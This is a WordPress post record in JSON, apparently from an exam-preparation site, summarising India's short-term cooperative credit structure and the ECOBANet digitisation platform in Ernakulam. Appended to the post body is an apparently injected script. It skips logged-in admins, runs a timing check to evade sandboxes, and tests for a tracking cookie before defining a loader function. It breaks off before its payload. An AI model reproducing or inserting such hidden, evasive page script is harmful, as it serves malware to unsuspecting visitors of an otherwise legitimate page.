{"id":236,"date":"2023-11-07T13:09:48","date_gmt":"2023-11-07T13:09:48","guid":{"rendered":"https:\/\/iasquest.com\/?p=236"},"modified":"2026-02-11T19:32:11","modified_gmt":"2026-02-11T19:32:11","slug":"empowering-agriculture-credit-cooperatives-through-digitisation","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/empowering-agriculture-credit-cooperatives-through-digitisation\/","title":{"rendered":"EMPOWERING AGRICULTURE CREDIT COOPERATIVES THROUGH DIGITISATION"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\"><strong>Short Term Rural Cooperative Credit Structure (STCCS):<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Three- tier structure of (STCCS)<\/strong>\n<ul class=\"wp-block-list\">\n<li>State Cooperative Banks (StCBs) at the state level,<\/li>\n\n\n\n<li>District Central Cooperative Banks (DCCBs) at the district level, and<\/li>\n\n\n\n<li>Primary Agriculture Credit Societies (PACS) at the village level.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>The objective of this model:<\/strong>\n<ul class=\"wp-block-list\">\n<li>To provide timely, adequate, and affordable cooperative credit to the farmer members, and<\/li>\n\n\n\n<li>To realize social, economic, and political objectives ranging from self-help and grassroot level community participation to production, distribution, and social control over resource allocation and mobilization.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Issues and Challenges of Cooperative Credits:<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The gradual institutionalisation of rural credit witnessed the presence of several commercial banks and microfinance institutions operating through cutting-edge technologies.<\/li>\n\n\n\n<li>The rural banking space has become tremendously competitive for cooperatives.<\/li>\n\n\n\n<li>The cooperative credit institutions could not compete due to their inability to adopt technology enabled solutions.<\/li>\n\n\n\n<li>The most common issues are ensuring good office management systems, transparency, good governance and professionalisation, product innovation speed, service delivery, etc.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>ECOBANet: Ernakulam Cooperative Bank&#8217;s Network:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It is an integrated technology platform of <strong>Ernakulum District Central Coop. Bank (EDCCB)<\/strong> located at Kochi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Functions and Features:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Brings all credit institutions affiliated to EDCCB on a common tech-based platform.&nbsp;<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Allows grassroot member institutions PACS to provide modern banking services to the members on a real time basis.&nbsp;<\/li>\n\n\n\n<li>Function as technology driven financial service providers whereby, they deliver a range of services to their members.\n<ul class=\"wp-block-list\">\n<li>Example: Direct Benefit Transfers (DBTs), RuPay Cards, RTGS \/ NEFT, mobile passbook services, e-commerce services, and account opening services.\u00a0<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Allows members to open Aadhaar enabled savings bank and KCC accounts at PACS level itself with real-time monitoring at the DCCB level.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Conclusion:&nbsp;<\/strong> Digitisation calls for a complete transformation of the <strong>agriculture credit system<\/strong> so that cooperative credit activities are aligned with national priorities such as <strong>financial inclusion, sustainable agriculture, and the enhancement of farm incomes<\/strong>.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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